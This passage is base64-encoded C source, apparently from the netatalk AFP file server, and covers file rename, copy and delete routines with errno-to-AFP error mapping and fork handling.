ZCwgQURGTEFHU19IRik7DQogICAgICAgICAgICBnb3RvIHJlbmFtZV9yZXRy
eTsNCiAgICAgICAgY2FzZSBFUEVSTToNCiAgICAgICAgY2FzZSBFQUNDRVMg
Og0KICAgICAgICAgICAgcmV0dXJuKCBBRlBFUlJfQUNDRVNTICk7DQogICAg
ICAgIGNhc2UgRVJPRlM6DQogICAgICAgICAgICByZXR1cm4gQUZQRVJSX1ZM
T0NLOw0KICAgICAgICBkZWZhdWx0IDoNCiAgICAgICAgICAgIHJldHVybigg
QUZQRVJSX1BBUkFNICk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBtZW1z
ZXQoJmFkLCAwLCBzaXplb2YoYWQpKTsNCiAgICBpZiAoIGFkX29wZW4oIGRz
dCwgQURGTEFHU19IRiwgT19SRFdSLCAwNjY2LCAmYWQpIDwgMCApIHsNCiAg
ICAgICAgc3dpdGNoICggZXJybm8gKSB7DQogICAgICAgIGNhc2UgRU5PRU5U
IDoNCiAgICAgICAgICAgIHJldHVybiggQUZQRVJSX05PT0JKICk7DQogICAg
ICAgIGNhc2UgRUFDQ0VTIDoNCiAgICAgICAgICAgIHJldHVybiggQUZQRVJS
X0FDQ0VTUyApOw0KICAgICAgICBjYXNlIEVST0ZTOg0KICAgICAgICAgICAg
cmV0dXJuIEFGUEVSUl9WTE9DSzsNCiAgICAgICAgZGVmYXVsdCA6DQogICAg
ICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgICAgICB9DQog
ICAgfQ0KDQogICAgbGVuID0gc3RybGVuKCBuZXduYW1lICk7DQogICAgYWRf
c2V0ZW50cnlsZW4oICZhZCwgQURFSURfTkFNRSwgbGVuICk7DQogICAgbWVt
Y3B5KGFkX2VudHJ5KCAmYWQsIEFERUlEX05BTUUgKSwgbmV3bmFtZSwgbGVu
ICk7DQogICAgYWRfZmx1c2goICZhZCwgQURGTEFHU19IRiApOw0KICAgIGFk
X2Nsb3NlKCAmYWQsIEFERkxBR1NfSEYgKTsNCg0KI2lmZGVmIERFQlVHDQog
ICAgc3lzbG9nIChMT0dfSU5GTywgImVuZCByZW5hbWVmaWxlOiIpOw0KI2Vu
ZGlmIC8qIERFQlVHICovDQoNCiAgICByZXR1cm4oIEFGUF9PSyApOw0KfQ0K
DQppbnQgYWZwX2NvcHlmaWxlKG9iaiwgaWJ1ZiwgaWJ1ZmxlbiwgcmJ1Ziwg
cmJ1ZmxlbiApDQpBRlBPYmogICAgICAqb2JqOw0KY2hhcgkqaWJ1ZiwgKnJi
dWY7DQppbnQJCWlidWZsZW4sICpyYnVmbGVuOw0Kew0KICAgIHN0cnVjdCB2
b2wJKnZvbDsNCiAgICBzdHJ1Y3QgZGlyCSpkaXI7DQogICAgY2hhcgkqbmV3
bmFtZSwgKnBhdGgsICpwOw0KICAgIHVfaW50MzJfdAlzZGlkLCBkZGlkOw0K
ICAgIGludAkJcGxlbiwgZXJyLCByZXR2YWx1ZSA9IEFGUF9PSzsNCiAgICB1
X2ludDE2X3QJc3ZpZCwgZHZpZDsNCg0KI2lmZGVmIERFQlVHDQogICAgc3lz
bG9nIChMT0dfSU5GTywgImJlZ2luIGFmcF9jb3B5ZmlsZToiKTsNCiNlbmRp
ZiAvKiBERUJVRyAqLw0KDQogICAgKnJidWZsZW4gPSAwOw0KICAgIGlidWYg
Kz0gMjsNCg0KICAgIG1lbWNweSgmc3ZpZCwgaWJ1Ziwgc2l6ZW9mKCBzdmlk
ICkpOw0KICAgIGlidWYgKz0gc2l6ZW9mKCBzdmlkICk7DQogICAgaWYgKCgg
dm9sID0gZ2V0dm9sYnl2aWQoIHN2aWQgKSkgPT0gTlVMTCApIHsNCiAgICAg
ICAgcmV0dXJuKCBBRlBFUlJfUEFSQU0gKTsNCiAgICB9DQoNCiAgICBtZW1j
cHkoJnNkaWQsIGlidWYsIHNpemVvZiggc2RpZCApKTsNCiAgICBpYnVmICs9
IHNpemVvZiggc2RpZCApOw0KICAgIGlmICgoIGRpciA9IGRpcnNlYXJjaCgg
dm9sLCBzZGlkICkpID09IE5VTEwgKSB7DQogICAgICAgIHJldHVybiggQUZQ
RVJSX1BBUkFNICk7DQogICAgfQ0KDQogICAgbWVtY3B5KCZkdmlkLCBpYnVm
LCBzaXplb2YoIGR2aWQgKSk7DQogICAgaWJ1ZiArPSBzaXplb2YoIGR2aWQg
KTsNCiAgICBtZW1jcHkoJmRkaWQsIGlidWYsIHNpemVvZiggZGRpZCApKTsN
CiAgICBpYnVmICs9IHNpemVvZiggZGRpZCApOw0KDQogICAgaWYgKCggcGF0
aCA9IGNuYW1lKCB2b2wsIGRpciwgJmlidWYgKSkgPT0gTlVMTCApIHsNCiAg
ICAgICAgcmV0dXJuKCBBRlBFUlJfTk9PQkogKTsNCiAgICB9DQogICAgaWYg
KCAqcGF0aCA9PSAnXDAnICkgew0KICAgICAgICByZXR1cm4oIEFGUEVSUl9C
QURUWVBFICk7DQogICAgfQ0KDQogICAgLyogZG9uJ3QgYWxsb3cgY29waWVz
IHdoZW4gdGhlIGZpbGUgaXMgb3Blbi4NCiAgICAgKiBYWFg6IHRoZSBzcGVj
IG9ubHkgY2FsbHMgZm9yIHJlYWQvZGVueSB3cml0ZSBhY2Nlc3MuDQogICAg
ICogICAgICBob3dldmVyLCBjb3B5ZmlsZSBkb2Vzbid0IGhhdmUgYW55IG9m
IHRoYXQgaW5mbywNCiAgICAgKiAgICAgIGFuZCBsb2NrcyBuZWVkIHRvIHN0
YXkgY29oZXJlbnQuIGFzIGEgcmVzdWx0LA0KICAgICAqICAgICAgd2UganVz
dCBiYWxrIGlmIHRoZSBmaWxlIGlzIG9wZW5lZCBhbHJlYWR5LiAqLw0KICAg
IGlmIChvZl9maW5kbmFtZSh2b2wsIGN1cmRpciwgcGF0aCkpDQogICAgICAg
IHJldHVybiBBRlBFUlJfREVOWUNPTkY7DQoNCiAgICBuZXduYW1lID0gb2Jq
LT5uZXd0bXA7DQogICAgc3RyY3B5KCBuZXduYW1lLCBwYXRoICk7DQoNCiAg
ICBwID0gY3RvdXBhdGgoIHZvbCwgY3VyZGlyLCBuZXduYW1lICk7DQoNCiAg
ICBpZiAoKCB2b2wgPSBnZXR2b2xieXZpZCggZHZpZCApKSA9PSBOVUxMICkg
ew0KICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgIH0NCg0K
ICAgIGlmICh2b2wtPnZfZmxhZ3MgJiBBRlBWT0xfUk8pDQogICAgICAgIHJl
dHVybiBBRlBFUlJfVkxPQ0s7DQoNCiAgICBpZiAoKCBkaXIgPSBkaXJzZWFy
Y2goIHZvbCwgZGRpZCApKSA9PSBOVUxMICkgew0KICAgICAgICByZXR1cm4o
IEFGUEVSUl9QQVJBTSApOw0KICAgIH0NCg0KICAgIGlmICgoIHBhdGggPSBj
bmFtZSggdm9sLCBkaXIsICZpYnVmICkpID09IE5VTEwgKSB7DQogICAgICAg
IHJldHVybiggQUZQRVJSX05PT0JKICk7DQogICAgfQ0KICAgIGlmICggKnBh
dGggIT0gJ1wwJyApIHsNCiAgICAgICAgcmV0dXJuKCBBRlBFUlJfQkFEVFlQ
RSApOw0KICAgIH0NCg0KICAgIC8qIG9uZSBvZiB0aGUgaGFuZGZ1bCBvZiBw
bGFjZXMgdGhhdCBrbm93cyBhYm91dCB0aGUgcGF0aCB0eXBlICovDQogICAg
aWYgKCAqaWJ1ZisrICE9IDIgKSB7DQogICAgICAgIHJldHVybiggQUZQRVJS
X1BBUkFNICk7DQogICAgfQ0KICAgIGlmICgoIHBsZW4gPSAodW5zaWduZWQg
Y2hhcikqaWJ1ZisrICkgIT0gMCApIHsNCiAgICAgICAgc3RybmNweSggbmV3
bmFtZSwgaWJ1ZiwgcGxlbiApOw0KICAgICAgICBuZXduYW1lWyBwbGVuIF0g
PSAnXDAnOw0KICAgIH0NCg0KICAgIGlmICggKGVyciA9IGNvcHlmaWxlKHAs
IG10b3VwYXRoKHZvbCwgbmV3bmFtZSApLCBuZXduYW1lLA0KICAgICAgICAg
ICAgICAgICAgICAgICAgIHZvbF9ub2Fkb3VibGUodm9sKSkpIDwgMCApIHsN
CiAgICAgICAgcmV0dXJuIGVycjsNCiAgICB9DQoNCiAgICBzZXR2b2x0aW1l
KG9iaiwgdm9sICk7DQoNCiNpZmRlZiBEUk9QS0xVREdFDQogICAgaWYgKHZv
bC0+dl9mbGFncyAmIEFGUFZPTF9EUk9QQk9YKSB7DQogICAgICAgIHJldHZh
bHVlPW1hdGNoZmlsZTJkaXJwZXJtcyhuZXduYW1lLCB2b2wsIHNkaWQpOw0K
ICAgIH0NCiNlbmRpZiAvKiBEUk9QS0xVREdFICovDQoNCiNpZmRlZiBERUJV
Rw0KICAgIHN5c2xvZyAoTE9HX0lORk8sICJlbmQgYWZwX2NvcHlmaWxlOiIp
Ow0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAgICByZXR1cm4oIHJldHZhbHVl
ICk7DQp9DQoNCg0Kc3RhdGljIF9faW5saW5lX18gaW50IGNvcHlfYWxsKGNv
bnN0IGludCBkZmQsIGNvbnN0IHZvaWQgKmJ1ZiwNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBzaXplX3QgYnVmbGVuKQ0Kew0KICAgIHNzaXpl
X3QgY2M7DQoNCiNpZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywg
ImJlZ2luIGNvcHlfYWxsOiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAg
ICB3aGlsZSAoYnVmbGVuID4gMCkgew0KICAgICAgICBpZiAoKGNjID0gd3Jp
dGUoZGZkLCBidWYsIGJ1ZmxlbikpIDwgMCkgew0KICAgICAgICAgICAgc3dp
dGNoIChlcnJubykgew0KICAgICAgICAgICAgY2FzZSBFSU5UUjoNCiAgICAg
ICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgIGNhc2UgRURRVU9U
Og0KICAgICAgICAgICAgY2FzZSBFRkJJRzoNCiAgICAgICAgICAgIGNhc2Ug
RU5PU1BDOg0KICAgICAgICAgICAgICAgIHJldHVybiBBRlBFUlJfREZVTEw7
DQogICAgICAgICAgICBjYXNlIEVST0ZTOg0KICAgICAgICAgICAgICAgIHJl
dHVybiBBRlBFUlJfVkxPQ0s7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAg
ICAgICAgICAgICAgIHJldHVybiBBRlBFUlJfUEFSQU07DQogICAgICAgICAg
ICB9DQogICAgICAgIH0NCiAgICAgICAgYnVmbGVuIC09IGNjOw0KICAgIH0N
Cg0KI2lmZGVmIERFQlVHDQogICAgc3lzbG9nKExPR19JTkZPLCAiZW5kIGNv
cHlfYWxsOiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAgICByZXR1cm4g
QUZQX09LOw0KfQ0KDQovKiBYWFg6IHRoaXMgbmVlZHMgdG8gdXNlIGFkX29w
ZW4gYW5kIGFkX2xvY2suIHNvLCB3ZSBuZWVkIHRvDQogKiBwYXNzIGluIHZv
bCBhbmQgcGF0aCAqLw0KaW50IGNvcHlmaWxlKHNyYywgZHN0LCBuZXduYW1l
LCBub2Fkb3VibGUgKQ0KY2hhcgkqc3JjLCAqZHN0LCAqbmV3bmFtZTsNCmNv
bnN0IGludCAgIG5vYWRvdWJsZTsNCnsNCiAgICBzdHJ1Y3QgYWRvdWJsZQlh
ZDsNCiAgICBzdHJ1Y3Qgc3RhdCAgICAgICAgIHN0Ow0KICAgIGNoYXIJCWZp
bGVidWZbODE5Ml07DQogICAgaW50CQkJc2ZkLCBkZmQsIGxlbiwgZXJyID0g
QUZQX09LOw0KICAgIHNzaXplX3QgICAgICAgICAgICAgY2M7DQoNCiNpZmRl
ZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImJlZ2luIGNvcHlmaWxl
OiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAgICBpZiAobmV3bmFtZSkg
ew0KICAgICAgICBpZiAoKHNmZCA9IG9wZW4oIGFkX3BhdGgoIHNyYywgQURG
TEFHU19IRiApLCBPX1JET05MWSwgMCApKSA8IDAgKSB7DQogICAgICAgICAg
ICBzd2l0Y2ggKCBlcnJubyApIHsNCiAgICAgICAgICAgIGNhc2UgRU5PRU5U
IDoNCiAgICAgICAgICAgICAgICBicmVhazsgLyoganVzdCBjb3B5IHRoZSBk
YXRhIGZvcmsgKi8NCiAgICAgICAgICAgIGNhc2UgRUFDQ0VTIDoNCiAgICAg
ICAgICAgICAgICByZXR1cm4oIEFGUEVSUl9BQ0NFU1MgKTsNCiAgICAgICAg
ICAgIGRlZmF1bHQgOg0KICAgICAgICAgICAgICAgIHJldHVybiggQUZQRVJS
X1BBUkFNICk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQog
ICAgICAgICAgICBpZiAoKCBkZmQgPSBvcGVuKCBhZF9wYXRoKCBkc3QsIEFE
RkxBR1NfSEYgKSwgT19XUk9OTFl8T19DUkVBVCwNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGFkX21vZGUoIGFkX3BhdGgoIGRzdCwgQURGTEFH
U19IRiApLCAwNjY2ICkpKSA8IDAgKSB7DQogICAgICAgICAgICAgICAgY2xv
c2UoIHNmZCApOw0KICAgICAgICAgICAgICAgIHN3aXRjaCAoIGVycm5vICkg
ew0KICAgICAgICAgICAgICAgIGNhc2UgRU5PRU5UIDoNCiAgICAgICAgICAg
ICAgICAgICAgcmV0dXJuKCBBRlBFUlJfTk9PQkogKTsNCiAgICAgICAgICAg
ICAgICBjYXNlIEVBQ0NFUyA6DQogICAgICAgICAgICAgICAgICAgIHJldHVy
biggQUZQRVJSX0FDQ0VTUyApOw0KICAgICAgICAgICAgICAgIGNhc2UgRVJP
RlM6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBBRlBFUlJfVkxPQ0s7
DQogICAgICAgICAgICAgICAgZGVmYXVsdCA6DQogICAgICAgICAgICAgICAg
ICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvKiBjb3B5IHRoZSBm
aWxlICovDQojaWZkZWYgU0VOREZJTEVfRkxBVk9SX0xJTlVYDQogICAgICAg
ICAgICBpZiAoZnN0YXQoc2ZkLCAmc3QpID09IDApIHsNCiAgICAgICAgICAg
ICAgICBpZiAoKGNjID0gc2VuZGZpbGUoZGZkLCBzZmQsIE5VTEwsIHN0LnN0
X3NpemUpKSA8IDApIHsNCiAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChl
cnJubykgew0KICAgICAgICAgICAgICAgICAgICBjYXNlIEVEUVVPVDoNCiAg
ICAgICAgICAgICAgICAgICAgY2FzZSBFRkJJRzoNCiAgICAgICAgICAgICAg
ICAgICAgY2FzZSBFTk9TUEM6DQogICAgICAgICAgICAgICAgICAgICAgICBl
cnIgPSBBRlBFUlJfREZVTEw7DQogICAgICAgICAgICAgICAgICAgICAgICBi
cmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSBFUk9GUzoNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGVyciA9IEFGUEVSUl9WTE9DSzsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAg
ICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICAgICAgICAgZXJyID0gQUZQ
RVJSX1BBUkFNOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIGdvdG8gY29weWhlYWRlcl9kb25l
Ow0KICAgICAgICAgICAgfQ0KI2VuZGlmIC8qIFNFTkRGSUxFX0ZMQVZPUl9M
SU5VWCAqLw0KICAgICAgICAgICAgd2hpbGUgKDEpIHsNCiAgICAgICAgICAg
ICAgICBpZiAoKGNjID0gcmVhZChzZmQsIGZpbGVidWYsIHNpemVvZihmaWxl
YnVmKSkpIDwgMCkgew0KICAgICAgICAgICAgICAgICAgICBpZiAoZXJybm8g
PT0gRUlOVFIpDQogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsN
CiAgICAgICAgICAgICAgICAgICAgZXJyID0gQUZQRVJSX1BBUkFNOw0KICAg
ICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQoN
CiAgICAgICAgICAgICAgICBpZiAoIWNjIHx8ICgoZXJyID0gY29weV9hbGwo
ZGZkLCBmaWxlYnVmLCBjYykpIDwgMCkpDQogICAgICAgICAgICAgICAgICAg
IGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQpjb3B5aGVhZGVyX2RvbmU6DQog
ICAgICAgICAgICBjbG9zZShzZmQpOw0KICAgICAgICAgICAgY2xvc2UoZGZk
KTsNCiAgICAgICAgICAgIGlmIChlcnIgPCAwKSB7DQogICAgICAgICAgICAg
ICAgdW5saW5rKGFkX3BhdGgoZHN0LCBBREZMQUdTX0hGKSk7DQogICAgICAg
ICAgICAgICAgcmV0dXJuIGVycjsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
fQ0KICAgIH0NCg0KICAgIC8qIGRhdGEgZm9yayBjb3B5aW5nICovDQogICAg
aWYgKCggc2ZkID0gb3Blbiggc3JjLCBPX1JET05MWSwgMCApKSA8IDAgKSB7
DQogICAgICAgIHN3aXRjaCAoIGVycm5vICkgew0KICAgICAgICBjYXNlIEVO
T0VOVCA6DQogICAgICAgICAgICByZXR1cm4oIEFGUEVSUl9OT09CSiApOw0K
ICAgICAgICBjYXNlIEVBQ0NFUyA6DQogICAgICAgICAgICByZXR1cm4oIEFG
UEVSUl9BQ0NFU1MgKTsNCiAgICAgICAgZGVmYXVsdCA6DQogICAgICAgICAg
ICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgICAgICB9DQogICAgfQ0K
DQogICAgaWYgKCggZGZkID0gb3BlbiggZHN0LCBPX1dST05MWXxPX0NSRUFU
LCBhZF9tb2RlKCBkc3QsIDA2NjYgKSkpIDwgMCApIHsNCiAgICAgICAgY2xv
c2UoIHNmZCApOw0KICAgICAgICBzd2l0Y2ggKCBlcnJubyApIHsNCiAgICAg
ICAgY2FzZSBFTk9FTlQgOg0KICAgICAgICAgICAgcmV0dXJuKCBBRlBFUlJf
Tk9PQkogKTsNCiAgICAgICAgY2FzZSBFQUNDRVMgOg0KICAgICAgICAgICAg
cmV0dXJuKCBBRlBFUlJfQUNDRVNTICk7DQogICAgICAgIGNhc2UgRVJPRlM6
DQogICAgICAgICAgICByZXR1cm4gQUZQRVJSX1ZMT0NLOw0KICAgICAgICBk
ZWZhdWx0IDoNCiAgICAgICAgICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7
DQogICAgICAgIH0NCiAgICB9DQoNCiNpZmRlZiBTRU5ERklMRV9GTEFWT1Jf
TElOVVgNCiAgICBpZiAoZnN0YXQoc2ZkLCAmc3QpID09IDApIHsNCiAgICAg
ICAgaWYgKChjYyA9IHNlbmRmaWxlKGRmZCwgc2ZkLCBOVUxMLCBzdC5zdF9z
aXplKSkgPCAwKSB7DQogICAgICAgICAgICBzd2l0Y2ggKGVycm5vKSB7DQog
ICAgICAgICAgICBjYXNlIEVEUVVPVDoNCiAgICAgICAgICAgIGNhc2UgRUZC
SUc6DQogICAgICAgICAgICBjYXNlIEVOT1NQQzoNCiAgICAgICAgICAgICAg
ICBlcnIgPSBBRlBFUlJfREZVTEw7DQogICAgICAgICAgICAgICAgYnJlYWs7
DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGVyciA9
IEFGUEVSUl9QQVJBTTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
ICAgICBnb3RvIGNvcHlkYXRhX2RvbmU7DQogICAgfQ0KI2VuZGlmIC8qIFNF
TkRGSUxFX0ZMQVZPUl9MSU5VWCAqLw0KDQogICAgd2hpbGUgKDEpIHsNCiAg
ICAgICAgaWYgKChjYyA9IHJlYWQoIHNmZCwgZmlsZWJ1Ziwgc2l6ZW9mKCBm
aWxlYnVmICkpKSA8IDApIHsNCiAgICAgICAgICAgIGlmIChlcnJubyA9PSBF
SU5UUikNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCg0KICAgICAgICAg
ICAgZXJyID0gQUZQRVJSX1BBUkFNOw0KICAgICAgICAgICAgYnJlYWs7DQog
ICAgICAgIH0NCg0KICAgICAgICBpZiAoIWNjIHx8ICgoZXJyID0gY29weV9h
bGwoZGZkLCBmaWxlYnVmLCBjYykpIDwgMCkpIHsNCiAgICAgICAgICAgIGJy
ZWFrOw0KICAgICAgICB9DQogICAgfQ0KDQpjb3B5ZGF0YV9kb25lOg0KICAg
IGNsb3NlKHNmZCk7DQogICAgY2xvc2UoZGZkKTsNCiAgICBpZiAoZXJyIDwg
MCkgew0KICAgICAgICB1bmxpbmsoYWRfcGF0aChkc3QsIEFERkxBR1NfSEYp
KTsNCiAgICAgICAgdW5saW5rKGRzdCk7DQogICAgICAgIHJldHVybiBlcnI7
DQogICAgfQ0KDQogICAgaWYgKG5ld25hbWUpIHsNCiAgICAgICAgbWVtc2V0
KCZhZCwgMCwgc2l6ZW9mKGFkKSk7DQogICAgICAgIGlmICggYWRfb3Blbigg
ZHN0LCBub2Fkb3VibGUgfCBBREZMQUdTX0hGLCBPX1JEV1J8T19DUkVBVCwN
CiAgICAgICAgICAgICAgICAgICAgICAwNjY2LCAmYWQpIDwgMCApIHsNCiAg
ICAgICAgICAgIHN3aXRjaCAoIGVycm5vICkgew0KICAgICAgICAgICAgY2Fz
ZSBFTk9FTlQgOg0KICAgICAgICAgICAgICAgIHJldHVybiBub2Fkb3VibGUg
PyBBRlBfT0sgOiBBRlBFUlJfTk9PQko7DQogICAgICAgICAgICBjYXNlIEVB
Q0NFUyA6DQogICAgICAgICAgICAgICAgcmV0dXJuKCBBRlBFUlJfQUNDRVNT
ICk7DQogICAgICAgICAgICBjYXNlIEVST0ZTOg0KICAgICAgICAgICAgICAg
IHJldHVybiBBRlBFUlJfVkxPQ0s7DQogICAgICAgICAgICBkZWZhdWx0IDoN
CiAgICAgICAgICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgbGVuID0gc3RybGVu
KCBuZXduYW1lICk7DQogICAgICAgIGFkX3NldGVudHJ5bGVuKCAmYWQsIEFE
RUlEX05BTUUsIGxlbiApOw0KICAgICAgICBtZW1jcHkoYWRfZW50cnkoICZh
ZCwgQURFSURfTkFNRSApLCBuZXduYW1lLCBsZW4gKTsNCiAgICAgICAgYWRf
Zmx1c2goICZhZCwgQURGTEFHU19IRiApOw0KICAgICAgICBhZF9jbG9zZSgg
JmFkLCBBREZMQUdTX0hGICk7DQogICAgfQ0KDQojaWZkZWYgREVCVUcNCiAg
ICBzeXNsb2coTE9HX0lORk8sICJlbmQgY29weWZpbGU6Iik7DQojZW5kaWYg
LyogREVCVUcgKi8NCg0KICAgIHJldHVybiggQUZQX09LICk7DQp9DQoNCg0K
aW50IGRlbGV0ZWZpbGUoIGZpbGUgKQ0KY2hhcgkJKmZpbGU7DQp7DQogICAg
c3RydWN0IGFkb3VibGUJYWQ7DQogICAgaW50CQkJYWRmbGFncywgZXJyID0g
QUZQX09LOw0KICAgIGludAkJCWxvY2t0eXBlID0gQURMT0NLX1dSOw0KICAg
IGludAkJCW9wZW5tb2RlID0gT19SRFdSOw0KDQojaWZkZWYgREVCVUcNCiAg
ICBzeXNsb2coTE9HX0lORk8sICJiZWdpbiBkZWxldGVmaWxlOiIpOw0KI2Vu
ZGlmIC8qIERFQlVHICovDQoNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIC8q
DQogICAgICAgICAqIElmIGNhbid0IG9wZW4gcmVhZC93cml0ZSB0aGVuIHRy
eSBhZ2FpbiByZWFkLW9ubHkuICBJZiBpdCdzIG9wZW4NCiAgICAgICAgICog
cmVhZC1vbmx5LCB3ZSBtdXN0IGRvIGEgcmVhZCBsb2NrIGluc3RlYWQgb2Yg
YSB3cml0ZSBsb2NrLg0KICAgICAgICAgKi8NCiAgICAgICAgLyogdHJ5IHRv
IG9wZW4gYm90aCBhdCBvbmNlICovDQogICAgICAgIGFkZmxhZ3MgPSBBREZM
QUdTX0RGfEFERkxBR1NfSEY7DQogICAgICAgIG1lbXNldCgmYWQsIDAsIHNp
emVvZihhZCkpOw0KICAgICAgICBpZiAoIGFkX29wZW4oIGZpbGUsIGFkZmxh
Z3MsIG9wZW5tb2RlLCAwLCAmYWQgKSA8IDAgKSB7DQogICAgICAgICAgICBz
d2l0Y2ggKGVycm5vKSB7DQogICAgICAgICAgICBjYXNlIEVOT0VOVDoNCiAg
ICAgICAgICAgICAgICBhZGZsYWdzID0gQURGTEFHU19ERjsNCiAgICAgICAg
ICAgICAgICAvKiB0aGF0IGZhaWxlZC4gbm93IHRyeSB0byBvcGVuIGp1c3Qg
dGhlIGRhdGEgZm9yayAqLw0KICAgICAgICAgICAgICAgIG1lbXNldCgmYWQs
IDAsIHNpemVvZihhZCkpOw0KICAgICAgICAgICAgICAgIGlmICggYWRfb3Bl
biggZmlsZSwgYWRmbGFncywgb3Blbm1vZGUsIDAsICZhZCApIDwgMCApIHsN
CiAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChlcnJubykgew0KICAgICAg
ICAgICAgICAgICAgICBjYXNlIEVOT0VOVDoNCiAgICAgICAgICAgICAgICAg
ICAgICAgIHJldHVybiBBRlBFUlJfTk9PQko7DQogICAgICAgICAgICAgICAg
ICAgIGNhc2UgRUFDQ0VTOg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYo
b3Blbm1vZGUgPT0gT19SRFdSKSB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgb3Blbm1vZGUgPSBPX1JET05MWTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBsb2NrdHlwZSA9IEFETE9DS19SRDsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
cmV0dXJuIEFGUEVSUl9BQ0NFU1M7DQogICAgICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgIGNhc2UgRVJPRlM6DQogICAgICAg
ICAgICAgICAgICAgICAgICByZXR1cm4gQUZQRVJSX1ZMT0NLOw0KICAgICAg
ICAgICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICAgICAg
ICAgcmV0dXJuIEFGUEVSUl9QQVJBTTsNCiAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsN
Cg0KICAgICAgICAgICAgY2FzZSBFQUNDRVM6DQogICAgICAgICAgICAgICAg
aWYob3Blbm1vZGUgPT0gT19SRFdSKSB7DQogICAgICAgICAgICAgICAgICAg
IG9wZW5tb2RlID0gT19SRE9OTFk7DQogICAgICAgICAgICAgICAgICAgIGxv
Y2t0eXBlID0gQURMT0NLX1JEOw0KICAgICAgICAgICAgICAgICAgICBjb250
aW51ZTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAg
ICAgICAgICByZXR1cm4gQUZQRVJSX0FDQ0VTUzsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICBjYXNlIEVST0ZTOg0KICAgICAgICAgICAgICAg
IHJldHVybiBBRlBFUlJfVkxPQ0s7DQogICAgICAgICAgICBkZWZhdWx0Og0K
ICAgICAgICAgICAgICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAg
ICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgYnJlYWs7CS8qIGZyb20g
dGhlIHdoaWxlICovDQogICAgfQ0KDQogICAgaWYgKChhZGZsYWdzICYgQURG
TEFHU19IRikgJiYNCiAgICAgICAgICAgIChhZF90bXBsb2NrKCZhZCwgQURF
SURfUkZPUkssIGxvY2t0eXBlLCAwLCAwKSA8IDAgKSkgew0KICAgICAgICBh
ZF9jbG9zZSggJmFkLCBhZGZsYWdzICk7DQogICAgICAgIHJldHVybiggQUZQ
RVJSX0JVU1kgKTsNCiAgICB9DQoNCiAgICBpZiAoYWRfdG1wbG9jayggJmFk
LCBBREVJRF9ERk9SSywgbG9ja3R5cGUsIDAsIDAgKSA8IDApIHsNCiAgICAg
ICAgZXJyID0gQUZQRVJSX0JVU1k7DQogICAgICAgIGdvdG8gZGVsZXRlX3Vu
bG9jazsNCiAgICB9DQoNCiAgICBpZiAoIHVubGluayggYWRfcGF0aCggZmls
ZSwgQURGTEFHU19IRiApKSA8IDAgKSB7DQogICAgICAgIHN3aXRjaCAoIGVy
cm5vICkgew0KICAgICAgICBjYXNlIEVQRVJNOg0KICAgICAgICBjYXNlIEVB
Q0NFUyA6DQogICAgICAgICAgICBlcnIgPSBBRlBFUlJfQUNDRVNTOw0KICAg
ICAgICAgICAgZ290byBkZWxldGVfdW5sb2NrOw0KICAgICAgICBjYXNlIEVS
T0ZTOg0KICAgICAgICAgICAgZXJyID0gQUZQRVJSX1ZMT0NLOw0KICAgICAg
ICAgICAgZ290byBkZWxldGVfdW5sb2NrOw0KICAgICAgICBjYXNlIEVOT0VO
VCA6DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgZGVmYXVsdCA6DQog
ICAgICAgICAgICBlcnIgPSBBRlBFUlJfUEFSQU07DQogICAgICAgICAgICBn
